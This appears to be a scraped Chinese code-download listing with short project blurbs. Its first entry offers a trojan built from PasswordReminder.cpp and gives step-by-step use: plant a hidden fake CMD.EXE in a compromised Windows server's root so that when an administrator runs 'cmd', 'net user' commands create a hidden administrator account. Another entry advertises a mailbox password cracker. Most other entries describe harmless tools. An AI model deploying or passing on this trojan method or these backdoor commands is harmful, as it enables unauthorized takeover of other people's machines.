-
你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100...
你是不是经常在开始菜单的运行窗口里运行命令呢? 看看这个漏洞: http://zdnet.com /2100-1105-964057.html win2000和xp在执行搜索的时候, 首先查找根目录 而开始菜单的运行窗口里执行命令, 也是首先在系统盘的根目录里进行查找. 这个漏洞其实是已经是公开的秘密了. 既然现在作为漏洞公布出来, 我也就把网上的PasswordReminder.cpp拿来改了改 加了一个加超级管理员用户和执行cmd.exe的功能. 使用方法: 把程序解压, 把压缩包里的文件 CMD.EXE (该文件具有隐藏和只读属性) 释放到目标机器的系统盘根目录, 一般都是在C:比如利用UNICODE/Decode漏洞就有写根目录的权限, 同时Asp/fp30reg.dll等远程溢出出来的Shell, 一般都只有匿名权限, 但是它具有写根目录的权限 这个时候, 就可以把本程序放到目标机器的系统盘根目录 只要等管理员在机器的开始菜单里运行命令: cmd 一切尽在掌握中.:) PS: 系统执行后, 会先产生一个线程来做一些处理 然后用system()函数调用cmd.exe来让用户能够执行命令. 产生出来的线程会产生两个进程序执行如下两个命令: net user ISUR_IWAM wwwcnhonkercom /add net localgroup administrators ISUR_IWAM /add 这样就在系统上增加了一个超级-cmd loopholes in the source code
- 2022-06-01 08:01:12下载
- 积分:1
-
This document is prepared in asp.net web site interface design landing procedure...
本文件是用asp.net编写的网站的登陆界面设计程序-This document is prepared in asp.net web site interface design landing procedures
- 2023-04-22 02:20:04下载
- 积分:1
-
基于无线网络管理的交互式门禁系统,门禁系统在当今的安防产品中有着重要的地位,随着社会的进步,越来越多的地方使用门禁系统,并且对门禁的可靠性和交互性有着更高的要求...
基于无线网络管理的交互式门禁系统,门禁系统在当今的安防产品中有着重要的地位,随着社会的进步,越来越多的地方使用门禁系统,并且对门禁的可靠性和交互性有着更高的要求,本系统就是从这些方面考虑,将门禁设备与用户终端相连,做到人员识别的准确性和信息采集的实时处理。-Based on wireless network management, interactive access control systems, access control systems in today" s security products, has an important position, as society advances, more and more places to use access control system, and the reliability of access and interactivity will have a more higher requirements, the system is from these considerations, access control equipment and user terminals will be connected, so that the accuracy of personal identification and information gathering real-time processing.
- 2022-07-22 20:49:01下载
- 积分:1
-
看着*****东西
一个看*****的东西- Looks at***** the thing
- 2022-02-25 01:18:40下载
- 积分:1
-
一个破译邮箱密码程序
一个破译邮箱密码程序--Program which can crash mailbox password
- 2022-08-22 00:12:51下载
- 积分:1
-
利用Microsoft Internet Transfer Control下载Web页面
利用Microsoft Internet Transfer Control下载Web页面-download Web pages by Microsoft Internet Transfer Control
- 2022-05-29 06:57:40下载
- 积分:1
-
wpa_supplicant completion of 802.11i Linux client access, 802.11i agreement with...
wpa_supplicant 完成Linux下的802.11i客户端接入,与802.11i协议的AP端匹配。能够运行于802.11b网卡上 -wpa_supplicant completion of 802.11i Linux client access, 802.11i agreement with the AP-matching. To operate in 802.11b adapters
- 2022-12-06 19:05:03下载
- 积分:1
-
C language keyboard drawing an excellent source
用C语言实现键盘画图的绝佳代码-C language keyboard drawing an excellent source
- 2022-04-20 00:37:10下载
- 积分:1
-
运行程序杀手关闭正在运行的程序.自己可以选择
运行程序杀手关闭正在运行的程序.自己可以选择-Killer run the program shut down running programs. They can choose
- 2022-01-26 05:40:10下载
- 积分:1
-
dos下的文件压缩算法程序
dos下的文件压缩算法程序-dos under the compression algorithm
- 2023-06-23 07:15:04下载
- 积分:1